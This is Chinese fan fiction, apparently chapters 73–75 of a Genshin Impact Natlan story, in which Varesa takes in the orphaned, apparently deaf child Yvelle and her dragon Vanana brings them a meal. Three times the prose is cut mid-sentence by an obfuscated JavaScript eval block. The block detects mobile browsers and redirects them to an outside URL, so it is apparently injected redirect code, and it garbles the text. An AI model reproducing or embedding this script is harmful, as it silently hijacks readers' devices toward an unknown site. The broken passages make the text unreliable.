粉头发的少女抿着唇,是,她的确不知道伊薇尔的父母是怎么想的,也不明白为什么愿意为了伊薇尔四处求医的父母会让这样一个小小的孩子待在房间里……瓦雷莎认可纳塔的每个战士,至少,在战场上,他们没有愧对这片土地。 可是,瓦雷莎想到之前遇到的那个饥肠辘辘的伊薇尔,想到推开屋子时看到的那个神情寂寞又孤独的伊薇尔,唇线被粉发少女抿得笔直,至少苦果不应该由什么都不知道的小孩子来承担。 所以,她会陪着伊薇尔长大的。她会看着伊薇尔身形一点点拔高,她会牵着伊薇尔的手一起走过不知多少个冬夏,她们会有很多时间,去抚平过去有或没有的伤疤,去创造现在与未来美好的记忆。想到这里便没再想下去,瓦雷莎大步走出了屋子。 两只纤细又有力的手臂在下面轻轻拍了拍伊薇尔,力道不算大,如同一个无言的安抚,又像是隔着遥遥的岁月对那个日复一日待在屋子里的小女孩送去慰勉。 等伊薇尔醒了,大概还要好好跟伊薇尔解释一番。和首领在屋前分别后,瓦雷莎抱着伊薇尔往家的方向行去。 足尖掠过地面,瓦雷莎的速度很快、很稳,没有什么颠簸,没有惊醒怀里的小女孩。天上的太阳投下日光照亮前路,风声在耳边呼啸,而身上不算沉的重量足够赶路的瓦雷莎心情平静下来。 唔,说起来,应该让伊薇尔和自己一起睡还是单独给伊薇尔准备一个房间比较好?瓦雷莎思索,如果伊薇尔会在夜晚做噩梦的话,有个人在身边陪着可能会比较好吧。又或许伊薇尔习惯了一个人睡觉,不喜欢和别人睡在一起。 像龙一样,像人一样,小孩子其实也会有领地意识,在地上四处爬可以是探索,也可以是把爬过的地方都标记为自己的地盘。相较于成年人会把领地局限在自己的家或房间,有的小孩子会近乎贪婪地把自己所见的都揽到怀里。 把爸爸的杯子拿走、把妈妈的梳子拿走……当大人皱眉问小孩子为什么要这么做,反而得到[为什么不能这么做?]的天真眼神。 和大人做一件事往往要准备好充分的理由、需要考虑好这么做的后果能否承担什么的,小孩子的动机要来得简单许多。“因为我想。”短短的四个字,就足够说服小孩子去做了。 好吧,不管怎么样,是自己睡还是和她一起睡,又或是有其他的想法什么的,总而言之,伊薇尔喜欢就好。再一次在心里重申这句话,瓦雷莎弯了弯唇。 反正,属于伊薇尔的新枕头和小被子,都已经准备好啦。 周围的景色向身后退去,瓦雷莎一路经过许多风景,最终在一片平坦的果园面前停了下来。 路的尽头,一只成年的突角龙正等在那里。见了瓦雷莎和她手里抱着的小女孩,发出叫声,愉快地拱了上来。 - 这就是,瓦雷莎说的,那个孩子吗? 看着瓦雷莎臂膀里那个酣睡的孩子,瓦娜娜露出好奇的眼神。没记错的话,她的名字是……“这是伊薇尔。”来到瓦娜娜旁边的粉发少女含笑向自己的伙伴介绍:“以后,她也是我们家的一员了。” 小小的,亮亮的。听了瓦雷莎的话,瓦娜娜紫色的眼睛光明正大地看向仍在睡觉的小女孩——似是为了方便瓦娜娜观察新成员,瓦雷莎还好脾气地将自己的手臂沉下来——她睡得脸颊粉扑扑的,浅黄色的头发有些凌乱,但依然很可爱。 瓦娜娜抬了抬自己的脑袋,正好蹭到伊薇尔垂在身侧的指尖。 其实没有什么感觉,毕竟突角龙可以用身体撞碎山岩,裸露在外的身体表面并没有那么敏感。而且,伊薇尔现在是个还没有瓦娜娜来得高的小孩子,手是小小的软软的一团,像果树上刚长出的花苞,手指的那一点凉意自然很难让瓦娜娜察觉到。 但是,意识到的那个瞬间,相触的地方似乎传来电流,不算强烈,却麻麻的,绵延的,一直传到心脏。 不知道伊薇尔喜欢吃什么。瓦娜娜就地趴下,发出沉闷的呼噜声,一双圆圆的眼睛迷离地看着仍在睡梦里的小女孩,她的眼睛有点红,是哭过吗。得出结论的突角龙开始思考伊薇尔的饮食偏好。 她会喜欢吃肉吗,还是更喜欢果子?瓦娜娜喜欢伊薇尔,想让她开心。 瓦雷莎说过,吃得饱饱的,就会开心了。 所以,瓦娜娜想让伊薇尔吃得饱饱的。 * “好了瓦娜娜,伊薇尔还在睡觉呢,在外面待太久会着凉的。”见自己的龙伙伴这副目不转睛的模样,瓦雷莎有点好笑地开口。 说实话,伊薇尔不算重,即便是瓦雷莎抱着她走了那么一段路也还没觉得累。只是,瓦雷莎看着怀里即便在睡梦里仍时不时拧起细细的眉的小女孩,还有即便自己喂过水了,还是难掩她大哭过后显得有几份憔悴的脸。 还是让伊薇尔好好休息吧,瓦雷莎想。 不过,看来瓦娜娜很喜欢伊薇尔呢。瓦雷莎弯了弯眼睛,她轻轻掂了掂怀里的小女孩,真好啊,喜欢伊薇尔的又多了一个。这样看来,假如自己需要训练或者帮忙运货什么的时候,伊薇尔也会被好好照看着。 或许是因为自己见到的伊薇尔总是一个人,一个人在野外吃草,一个人无聊地趴在绘本前。就算告诉过自己伊薇尔不是那种全然懵懂无知的小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791118|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,瓦雷莎有时还是忍不住把她当襁褓里刚出生的婴儿对待。 如果可以,瓦雷莎希望伊薇尔的身边永远有人陪着。她希望自己可以是那个永远陪在伊薇尔身边的人。只是人与人之间总会面临离别,虽然离别之后便会迎来下一次相聚。 就像瓦雷莎和她的爸爸妈妈一样,爸爸妈妈现在远在他国,瓦雷莎一个人留在家里。距离很远,但彼此都知道总会再相见的。而就算分别,信件、相片、礼物等也会代替思念送到各自的身边。 瓦雷莎希望自己可以一直陪在伊薇尔身边,不是说重要的事情才需要关注,在一起的每一分每一秒都有意义。只是瓦雷莎这样希望的同时又清晰地明白这只能是希望,总会有这样那样的事情发生,于是人与人分开。 所以,即使陪伴的那个人不是她,瓦雷莎依然希望会有其他人陪在伊薇尔身边,龙也可以。 瓦雷莎一边在脑海里想东想西地想了一堆有的没的,一边动作轻柔地把伊薇尔放到铺好的小床上,再神情认真地展开洗得干干净净的透着清香的小被子,把伊薇尔裹了个严实。 说起来,被抱起来的时候没有醒,走了一路也没有醒,睡得脸蛋红扑扑的,睫毛长长的,这样看伊薇尔就像一只可爱的小猪呢,嘿嘿。瓦雷莎托起脸发出傻笑,她真的把伊薇尔抱回家了欸。 好没有实感噢。要给伊薇尔准备点什么等她睡醒了吃呢,瓦雷莎开始思考醒来后饿了的小女孩会喜欢吃什么。不如就做酪烤菇菇串好了,只生长在果园附近的红果果菇伊薇尔一定没吃过。 想象着有着浅黄头发的小女孩吃到好吃的东西之后说不定会眯起那双漂亮的橙色眼睛,好可爱……瓦雷莎有点期待接下来的生活了。不过现在,还是先给伊薇尔擦擦脸吧。 并没有忘记伊薇尔哭得泪痕斑驳又跟着她在野外走过一路,瓦雷莎勤勤恳恳地打湿了帕子,拧干多余的水分再重新展开帕子,刚准备拭着帕子去给伊薇尔擦脸,就对上了一双清醒的橙色眼睛。 ! 瓦雷莎的眼睛一下子瞪圆了:有谁能告诉她,伊薇尔是什么时候醒的?伊薇尔不会看到自己之前的样子了吧?她还想塑造一个靠谱的大人形象来着……瓦雷莎心里的小人不由捂住了脸。 - 你眨了眨眼睛,看着面前的大姐姐被你吓了一跳。 手上拿着手帕,是要擦什么吗。身上传来被包裹的感觉,你伸了伸脖子,看到把你裹得跟个春卷似的小被子。你张开手,手背贴上毛茸茸的被面,好暖和,好舒服。 发现这样盖被子还挺舒服的你打消了钻出去的心思,重新把清凌凌的目光投射到粉头发的姐姐身上。 你,为什么会出现在这里?陌生的房间。刚才看被子的时候就顺便把房间瞄了一圈的你陷入沉思。 还没思考出什么,下一刻,一张凉凉的帕子就拍上你的脸,你瞬间打了个激灵。 73.纳塔篇-11 你有些紧张地在手帕完全盖住你的脸之前闭上眼。 眼睛,很脆弱,碰到别的东西会很难受。头发又多又细的你每次洗头时往往会弄得满脸都是水,眼睛进了水,就很不舒服。所以,要提前把眼睛闭上。但是闭上了眼睛,就会很害怕。 不知道接下来会发生什么的害怕。什么都看不到,什么都听不到,恐惧便会在其中滋生。虽然好像即便你睁开眼睛,也阻止不了什么。提前闭上眼睛的举动,就像把自己的软肋暴露出来,你不知道落下的手是否拿着刀刃。 当粉头发的大姐姐那张手帕彻底落下时,你藏在被子里的手不由攥紧了被子,把捏住的那一团布料弄得皱巴巴的。 你其实不太明白自己为什么会出现在这里。在你的记忆中,只有那一张叠了无数个鲜红的“×”的相片尤为鲜明。你再也不会等到你的爸爸妈妈这一个认知像一根尖刺般深深地扎进了你的皮肉里。 哪怕什么都不做,被尖刺扎进的皮肉也会时不时地泛起疼痛。没有碰到那根刺,只是触及周围的血肉,都会感到疼痛,一阵一阵地翻涌。越是疼痛,越是难忍;越是难忍,越是要把它们咽进肚子里。 好孩子,是不会哭得打扰到别人的。你有记得爸爸妈妈教给你的东西,虽然你可能做的还不是很好…… 但、但!你哭的时候是有注意的哦,嘴巴不要闭起来、不要张得太大,不要把喉咙里的气?的某种东西一下子全排出来,要像深呼吸一样,一点一点的,如同一个打横了平放的圆柱,你要把它压得扁扁的,扁得跟一张纸差不多。 把思绪从几乎要将人溺毙的深厚情感中抽出,好像,当时大姐姐确实有问过你要不要跟着她去她的家来着。从记忆里翻出了那个有着一对白色牛角标志的房子简笔画的你沉思。 真的是你自己答应的欸。 好神奇,这种感觉。明明自己没有什么印象了,对这件事都感到茫然和不解,结果却发现这件事居然是经过自己许可的,是自己同意、乃至于自己推动来促成这件事的。如同记忆断片的感觉。 坦白来说,你其实没想过当爸爸妈妈从你以后的生活里消失后你的生活会是什么模样。你会去到哪里?你会遇到什么?全都不知道。可能是像之前一样游荡在那间房子周围?又或者有人来把你赶出去,于是你就四处流浪,走到哪算哪。 有一天便过一天的、不去想什么以后的活法。 小脑袋里装着许多的奇妙想法,而那张落到你脸上的柔软帕子只是动作轻柔地擦过你的眼尾、你的下眼睑、你的脸颊和下巴,没有碰到你的眼睛。 为了给你更好地擦脸,大姐姐的一只手绕到你的脑后固定你的脑袋,防止出现什么情况,比如你一个转动脑袋,然后手帕就狠狠地擦过皮肤带来火辣辣的痛感或者其他什么的情况。 你自然是没有领会大姐姐的举动下包含的意思的。你乖乖地躺在床上,依然是被裹成春卷的模样。 好像,没有危险。过了一会儿,发现粉头发的大姐姐就真的是在给你擦脸,没有别的什么动作,你悄悄地睁开了眼睛,被子里攥着的拳头也不知道什么时候松开了。 - 瓦雷莎细致地一点一点擦拭着伊薇尔的小脸。小孩子的皮肤很嫩,脸上的部分更是像豆腐一样嫩得出水,稍用点力就会红一大片。瓦雷莎曾经见过战友给孩子擦脸的情形,那个被擦脸的孩子哇哇大叫的情形还历历在目,她不太希望自己也把伊薇尔擦脸擦得吱哇乱叫的。 虽然吱哇乱叫的伊薇尔一定很可爱啦……是没见过的版本耶。想要看到伊薇尔各种表情的瓦雷莎小小地心动了下,最终还是放弃了这个想法。诚然,她确实想看到伊薇尔更多更生动更真实的表情,但这不应该以伊薇尔的不舒服为代价。 以爱为名的伤害同样是伤害,出于好意的恶行依然是恶行。起码、至少,瓦雷莎不愿意等将来的某一天回忆现在时,发现自己和伊薇尔那对父母并无区别,都是把自己的意愿凌驾在伊薇尔小小的躯体上的家伙。 这样小的一具躯体承担不了大人那么多要求的,瓦雷莎这样认为,伊薇尔会有她的喜好、她的梦想,伊薇尔会拥抱她在蓝天下灿烂的人生,因为本该如此。 唔,不过假如她把自己的想法认定是“正确”,认定伊薇尔去笑去哭,认为按某种方式生活的伊薇尔才是她应该的样子的话,那对伊薇尔来说会不会是另一种禁锢? 丢掉从前的笼子,重新打造一个舒适的笼子把小鸟放进去,对小鸟而言,只不过是从一个牢笼去到另一个牢笼罢了。 正如那个蒙德那个无神的自由国度里莫名流传的一句话所说:【被神明命令的自由,也是一种不自由吧。】 作为大人,她的行为会被小孩子无意识地模仿,她的偏好同样会在无形中影响关注自己的小孩子。特别是经历过一些不太好的事情的小孩子,会更加敏感、更加害怕自己被丢下,便愈发谨小慎微。 如同被丢出家门又再度被捡回来的猫,没有了原先的傲气,变得十分乖巧。 变得乖巧似乎是件好事,不会再添那么多麻烦。可再次被捡回来的猫毛发凌乱,身上有着大大小小的伤口,原本软乎乎的爪子也磨出了血泡。狰狞的、脏乱的、血和肉和毛发全都糊到一起的。 ……会心疼的。瓦雷莎叹息。 要关心孩子什么时候饿、关心孩子的身体健康,还要关心孩子的心理健康。而这居然还只是基础。这么一想就觉得养孩子好难啊,爸爸妈妈当初是怎么把自己养到这么大的?瓦雷莎忽然对自己的爸爸妈妈有了更多的体会。 所以,不可以让她自己影响伊薇尔。瓦雷莎脸上扬起与往日别无二致的笑容,把伊薇尔从小被子里剥离出来,拿过一张纸放到伊薇尔的面前,准备和伊薇尔好好沟通一番。 毕竟,当时只想睡觉的伊薇尔是同意了跟自己回家没错,但只是一张图和一个指向这里的箭头,更多的信息没来得及告诉对方,伊薇尔可能以为只是“外出”、只是“拜访”,她最终还是要回到那间只剩她一个人的房子里的。 而瓦雷莎要这里成为伊薇尔认同的家,她们会成为真正的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811733|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。这样想一想,确实是需要和伊薇尔认真地交流呢。瓦雷莎弯了弯嘴角,往日恬淡的紫色眼眸里闪着某种决心。 那让眼眸显得锐利乃至于近似冷硬兵戈的决心只短暂出现了一瞬,很快又变得柔和。瓦雷莎分得清自己要与之作战的是什么,分得清自己要保护的是什么。 瓦雷莎还记得曾经的日子里,有一次沃陆之邦外出的小队遇上深渊的袭击,一队人迅速发了求援信号,随后就支撑着不被深渊的攻势打垮。可惜,人会累会受伤会筋疲力尽,深渊不会。 她们迟迟没等到支援。当大家都累倒的时候,是同样作战了许久的瓦雷莎扛了下来。 说实话,不是不累的,不是不痛的。瓦雷莎是吃得比别人多、力气比别人大,但她被深渊魔物抓伤的地方也会痛,挥出的手臂也会变得沉重。而当别人以那样焦急的语气叫“瓦雷莎!”的时候,瓦雷莎还是没有退缩。 累得意识都模糊了还在战斗……好像打到了什么,又好像被什么打到了……身体好像很累,又好像很轻盈……她还在战斗吗,大家安全了吗…… 那天的具体情况,瓦雷莎记得不太清了。瓦蕾莎只知道等她醒来的时候,她们已经获救了。这样就足够了,这就是她喘着气都没有停下的、为之战斗到最后一刻的,想要看到每个人平安的结局。 想要守护什么,就要付出什么。这个道理,坚持锻炼的瓦雷莎从来都是明白的。就算有时候会睡过头导致来不及吃早饭,等赶到训练场时饿得肚子咕咕叫的头晕眼花什么的,瓦雷莎仍在默默地遵循着。 有的时候,守护比摧毁更困难。摧毁只在一瞬间,而守护却要从开始的那一刻便延续下去,直到不再守护的那天,直到被守护的东西已经被毁坏的那天。肉眼可见的会很不容易,恰好瓦雷莎愿意为了自己所珍视的一切付出自己的全部。诚如她一直以来的所作所为。 如今,伊薇尔也在瓦雷莎“珍视的一切”里面了。 - “伊薇尔,从今以后我们就会一起生活了。”瓦雷莎一边说着,一边在纸上画出一栋房子,房子里有两个小人,一个头上有着牛角,一个有着浅黄色的头发。无论天上挂着的是太阳还是月亮,她们都待在这个房子里。 房子外面,有结着果子的树,有温和的龙。 瓦雷莎让自己的眼睛与伊薇尔橙色的眼睛对视,以此来观察这个小女孩是否理解了自己想要表达的意思。 “要、一起?很久?”眉头不知不觉困惑地拧起的小女孩低下头看了看那张画了图案的纸,又抬起头看着瓦雷莎,大大的眼睛里一片澄然。 对于伊薇尔的疑问,瓦雷莎点了点头。 见状,伊薇尔低下头,只留给瓦雷莎一个毛茸茸的发顶。片刻后,她重新抬起头,对着瓦雷莎弯了弯嘴角:“好哦。” 见到伊薇尔笑脸的瓦雷莎:…… 瓦雷莎心情有点复杂。其实,伊薇尔不用这样也可以的。瓦雷莎默默地在心里撇过脸,这孩子是不是不知道自己说“好哦”的时候眼睛根本没有笑啊? 74.纳塔篇-12 你想到粉头发大姐姐画的那幅画。白天和夜晚,头上有牛角的小人都在那个用浅黄色头发代表你的小人身边。 你同样看到了后面的画里那个你的小人变得和另一个小人一样大,但她们依然陪伴在彼此的身边。 对你来说,这就像你曾经和爸爸妈妈在路上看到过的风景,像你偷跑出去时看到的怎么也到不了那里的果树。是和你擦肩而过的,是你可望而不可及的。 风景很好看,你可以在水塘边看小动物喝水,但你很快就会离开;树上的苹果很大很漂亮,你看得到,却怎么走也走不到树下,只能抱着扁扁的肚子倒在路上。 对你而言,大姐姐想表达的东西和这些没有差别。会碎掉的、不属于你的——怎么会有人一直陪在你身边?你曾经也认为爸爸妈妈会一直陪在你身边,虽然他们经常不在家,可他们总会回来。 结果,你变成了坏孩子,爸爸妈妈丢掉了你。而现在,大姐姐让你留在这里,告诉你你们会一直在一起。 哈。 你橙色的眼睛有一瞬间闪过讥嘲,又很快地消失。“好哦。”你抬起头看着大姐姐这样说,那就让你看看吧,看大姐姐什么时候会像你的爸爸妈妈那样丢掉你,看大姐姐会出于什么原因丢掉你。 反正你是个坏孩子。会做出什么都不意外,会被怎么对待都不意外。想到这里,你感觉自己的胸口堵堵的,眼眶热热的,似乎很快就会有眼泪流下来。 不要哭,你在心里告诉自己,哭很难受的,眼睛会很痛。之前哭了之后你现在都觉得眼睛很干,摸上去仿佛有什么鼓起来的样子。 不要哭、不要哭,起码大姐姐还给你吃过苹果,给你投喂过晚餐,你吃过那份出现在自己家门口的有着大姐姐标志的饼干。这么想会高兴一点吗?至少你吃了大姐姐很多东西,你不是什么都没有。 你不愿意承认被爸爸妈妈抛弃的自己心里还对其他人抱有期待,刻意地在心里竖起一身的刺,仿佛这样就能证明什么。 会有人一直陪在你身边吗?你是值得被爱的吗?现实告诉你否定的答案。可你的心还想挣扎,还想再试一试。只是又一次地等待结果而已,这样的事情你很擅长。 - 你看着大姐姐抬了抬手又放下,嘴唇动了动,似乎想说什么又没说出口。 怎么了,是你给出的答案不是她要的吗?如果不是想要听到你的“好哦”,那她是想听到什么。你静静地望着她的脸,想要从那张脸上找到她的想法。半晌,你放弃了。 映入眼帘的清秀脸庞没有让人讨厌的感觉,依然是看着就觉得自己不会被伤害的一张脸。你会想起她第一次遇到你时给你的那个苹果,很好吃。 现在,要说点什么吗。你眨了眨眼睛,觉得目前莫名僵持的情况是不是有哪里不对。 大姐姐把你带到这里,告诉你之后你会留在这里,你同意了。然后大姐姐就没有回应了。 你觉得有哪里不对,又不知道要说什么。 这种情况,该说“你好”吗。你努力地回想自己看过的绘本里有没有这种情况,里面的小动物又是怎么做的。 呜……找不到。结局大部分都是小动物回家了,然后就没有然后了。你看的绘本不能告诉你这种情况下你应该怎么做。 那就继续等吧。 你的脸上没有表情,等下去,过一分钟、一小时、一天、一周或者更久,事情总会发生变化的,就是等到的变化可能不是你想要的而已。 不知道怎么做,那就不要想了,等吧。等到你知道该做什么的时候,那你就会去做了。 就在你准备放空大脑的时候,你看到房间里原本掩着的门从外向内打开了。 * 瓦雷莎和伊薇尔讨论得怎么样了?不知道这一大一小相处得如何的瓦娜娜顶开没锁的门,谨慎地刚探进一个脑袋,便对上了两双齐齐望来的眼睛。 瓦娜娜:…… 瓦娜娜哽住,思考要不要退出这个安静得有点过分诡异的房间:那个、其实,瓦雷莎才是决定把伊薇尔带回来的那个人,再加上她们都是人类,应该很有共同语言吧。要不还是把空间还给她们两个好了。 被房间里莫名凝滞的气氛吓了一跳,准备打退堂鼓当做自己没来过的瓦娜娜刚打算扭开脑袋,就把瓦雷莎那双暗藏求助的紫色眼睛看了个正着。 和自己从小一起长大、和自己一同度过无数岁月、和自己分享人生中的每一次喜悦与悲伤的少女用她那双又大又亮的紫色眼睛看着自己。[瓦雷莎需要我。]瓦娜娜不由这样想。 瓦娜娜又动了动眼珠,与另一双漂亮的橙色眼睛对上。漂亮的、纯然的、懵懂的、脆弱的。即便伊薇尔什么都没说,眼睛里也没有什么非常明显的情绪,瓦娜娜还是情不自禁地生出了一种使命感,[伊薇尔需要我]。 体型不小的突角龙在心里叹气,自己根本走不掉嘛,瓦雷莎和伊薇尔都在这里。都是自己喜欢的人类。 还好她有备而来。 没再犹豫,瓦娜娜把门推得更开,她的整个身体也随之出现在房间里的二人眼中,连同她尾巴上顶着的餐盘。 突角龙的尾巴不算长,好在有足够的力气,保持尾巴持平就能不让放在尾巴上的餐盘倾倒。 瓦娜娜往前走了几步来到瓦雷莎和伊薇尔的面前,微微动了动脑袋示意瓦雷莎把自己尾巴上的餐盘拿下去。 这下子瓦雷莎就能和伊薇尔一起吃东西了,吃得饱饱的,她们都会开心。虽然不知道为什么自己来的时候气氛那么诡异,但是等他们一起吃东西了之后,都会变好的吧。 人类就是这样的,坐下来一起吃东西,接着就可以成为朋友了。时常听瓦雷莎分享庆典和聚会还有发生在庆典和聚会里的快乐事的瓦娜娜觉得自己做了个明智的决定。 要知道,火神大人都会参加聚会呢,还会出资犒劳战士。记得瓦雷莎曾经吃了个痛快、让火神大人都思索账单似乎不太对劲的瓦娜娜认为伊薇尔也一定会喜欢和大家一起吃东西的。 脑海里浮现出过去跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843097|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着瓦雷莎一起见到的那位如烈阳燃烧的红发散落在身后的明艳女性,还有对方在聚会上弯起的一双同色眼眸,瓦娜娜再次肯定了伊薇尔会喜欢的,热闹的氛围。 玛薇卡大人是纳塔的太阳,有着浅黄色头发和橙色眼睛的伊薇尔也是个小太阳。私下悄悄给伊薇尔取昵称的瓦娜娜如是说。 - 瓦雷莎看了看自己的龙伙伴尾巴上托着的餐盘,好大一碟的炎岩之颂。熟食的香味在空气里弥漫,敏锐发现伊薇尔的视线不自觉地移到食物上的瓦雷莎自然地拿起餐盘放到桌上,同时眼角的余光一直暗暗观察着伊薇尔。 于是,瓦雷莎把伊薇尔随着移动的餐盘动来动去的眼珠看了个遍。瓦雷莎发自内心觉得这样的伊薇尔就像一只追着食物跑的耳朵在空中上下起伏的小狗。“可爱……”不知不觉,瓦雷莎把自己的心声说了出口。 话刚说出口,瓦雷莎就意识到自己说了什么。她看向伊薇尔,伊薇尔的表情依然没什么变化。这一刻,瓦雷莎有些心情复杂:她现在确实是和伊薇尔还不太熟,有的话可能进度太快,贸然这样说也许会吓到伊薇尔。这样看来,伊薇尔没有听见她说了什么或许还是件好事。 ……可是,如果可以,还是希望伊薇尔可以听到各种各样的声音,她可以听到早晨的鸟叫、听到风掠过的声响、听到欢快的音乐。如果可以做到,那自己的这点小尴尬、被打趣几句也没什么。 而伊薇尔没有选择的余地。 想到这里,瓦雷莎有点为这个安静的小女孩感到难过。和瓦娜娜一同长大、某些地方和瓦娜娜如出一辙的瓦雷莎同样认为伊薇尔像是一个小小的太阳。 绘本上出现过的吧,一个橙色的圆,黄色的波浪状线条围绕在橙色的圆周围,这样就是一个太阳。就像伊薇尔橙色的眼睛,还有她浅黄的头发。 早在第一次见面时,瓦雷莎就觉得伊薇尔像一轮太阳——只是和火神大人不同,这是一轮行将死寂的太阳。当人们抬起头看着天上悬挂的太阳,是否会想到太阳内部无时无刻不在发生的爆炸? 日复一日、年复一年,等到太阳不再爆炸的那一天,它就变成了一颗死掉的恒星。 伊薇尔就像一颗快要熄灭的星星,在仍然闪烁的光芒中隐隐能窥见被狂轰乱炸的斑驳痕迹。 如同战争时期的人们为了还魂诗期间火炬的燃烧举行圣夜归火巡礼,在看到伊薇尔的时候,瓦雷莎就没办法放着不管,就发自内心地认为:她应该做点什么的。 为了不让太阳坠落。 不是说太阳坠落会带来什么很坏很坏的事情,所以要去阻止太阳的坠落;只是因为觉得,啊,它应该是明亮的、活力四射的,本来就该是这样的。于是便去做了。 敛下眼眸,瓦雷莎把目光放到面前这份吸引了伊薇尔注意的炎岩之颂上,去腥的洋葱、软糯的土豆,还有凉了就不好吃的海鲜。 瓦雷莎抬起头,向床前的小女孩露出一个笑容,做出邀请的手势:“过来一起吃吧,这道菜热的时候最好吃哦。” 75.纳塔篇-13 这样子,算是过去了吗。 你歪了歪头似乎思索了片刻,从善如流地顺着大姐姐的动作在她对面坐下,桌上的炎岩之颂仍在冒着白腾腾的热气。氤氲的气体漂浮在你的眼前、消散,只留下熟食的烟火味,闻着便能让人想起在土坑中迸发跳跃的火花。 你垂下脑袋,看着鲜嫩的鱼肉和煮得沙沙的土豆晕染开的汤汁,白色的、透明的洋葱染上汤汁,变成了不同的颜色。 看起来就很好吃。你想着,没有率先向食物伸出手,而是默默用自己的橙色眼睛观察大姐姐的举动。 听上去或许有些荒谬,不过你确实没有什么和别人分食同一道菜肴的经历。当你还是个小小的孩子时,你吃的就和爸爸妈妈吃的不同,你们吃东西的时间也并不总是一致。等你长大一点了,就开始和爸爸妈妈四处转移。 等待成了你并不漫长的人生中记忆里最常见的东西。时常看不到人影的爸爸妈妈、回来时风尘仆仆的爸爸妈妈,面对着凑上前的你,通常会示意你自己随便找点东西吃,不用管他们。 那时的你是听话的、乖巧的孩子。爸爸妈妈既然这么说了,那你就这么做好了。至少,只是自己吃东西而已,总比妈妈表达的让你变得“正常”一点要来的简单吧。 你搞不懂什么才是妈妈想要的“正常”,你也没有能让你模仿学习的对象供你去尝试着变得“正常”。 在许多自己一个人度过的时间里,你的所见只有房间的墙壁、有着各种鲜艳色彩的绘本、摆放在角落的柜子、柜子上会流动的沙漏,和抬起头看到的阻隔了天空的屋顶。 现在,坐到大姐姐对面的你扬起脑袋,试图从对方的身上学习着什么,视线在大姐姐和桌上的食物之间来回游移。 鼻翼耸动间,依然是那种暖融融的香气。你抬起手,悄悄地摸了摸自己的肚子,嗯,好像是有点扁扁的。你的肚子一定很想把这道香喷喷的菜装进去。 你抿了抿嘴,望着大姐姐的眼睛变得圆溜溜的,不自觉睁大的眼睛在眼角处开合出角度。 想吃…… 你眨了眨眼睛,莫名的紧张袭上你的心头。 大姐姐伸出手,拿过餐盘旁边湿润的纸擦了擦手,才捻起一块肉送到嘴边。 要先拿纸擦手,再吃东西。你小小的脑袋煞有其事地做出总结,同时靠近餐盘的手试探性地摸了过去,窸窸窣窣地,每移动了一小段距离就会停下片刻,抬起头看看大姐姐有没有动静,没有的话再继续往前探。 假如大姐姐忽然收起嘴角浅浅的微笑、假如大姐姐忽然给这道菜移了位置,你一定会毫不犹豫地立刻把手缩回来的。 即便是小孩子,也会有其生存智慧。或许在大人的眼中过于浅薄而稚嫩,存在着不少漏洞和错谬,但在某个瞬间,身体会先于意识做出反应。或者说,身体会比大脑更先察觉与贯彻潜意识的指令。 据说,潜意识是一个人对世界最本质的映射。想法依据、爱憎贪痴,都会赤裸裸地暴露在潜意识里,一览无余。而大部分人不能操控自己的潜意识,把它捏造成自己想要的模样。就像一个紧张的人,怎么告诉自己别紧张都还是很紧张。 如同溪流与深海底处经过冲刷的石头,流水日复一日地包裹,叠加了无数时间才会改变石头的边角。又或是有足够强硬的外力,把河流抽干、暴露出坑坑洼洼的河床,拾起那块或许不够漂亮的石头,用尖利的凿子狠狠敲上去。 方能改变那块石头的形状。 多数情况下,流水是怎样,石头便是怎样。一个总是撒谎的人不会是一个诚实的、习惯于袒露自己内心的人。 而你的潜意识让你观察着,不同于他人的身体让你无法听到各种明显的动静,复杂的、繁琐的、大大小小的事情交织缠绕的世界里,你通常都是用眼睛看。听不到鸟叫,那就看鸟的羽毛;听不到惊雷的闷响,那就看天空中出现的闪电。 会有不方便吗?可能会有吧,听不到鸟的声音,无从得知小鸟叫声里包含的情感,靠近可能会被小鸟猛啄;听不到惊雷,无从得知闪电出现的时间,被视野里蓦然亮起的白光吓了一跳。 你只能看到大姐姐的表情,试图从中读到什么。 可你不是微表情大师,做不到从一个表情里分析出一大堆东西,你能做到的只有判断高兴还是不高兴。 就算只是这样二选一的选择,你也不能保证自己做出的选择是正确的那个。如果把人生比作一本书,那么属于你的那本书上面一定写满了没有答案的问题,问题随着时间不断增加,属于问题的那个答案却可能要很久很久之后才会浮现出来。 - 柔软的、湿润的、凉凉的。 你不断探出的手落到了纸上,过程中没有发生意外。捏起纸来抽回手,你看了看大姐姐,她好像没有发现你的动作、或者发现了也没有在意?总之,你再次看过去,就看到大姐姐拿起土豆放到嘴里,眯起眼睛腮帮子一鼓一鼓的。 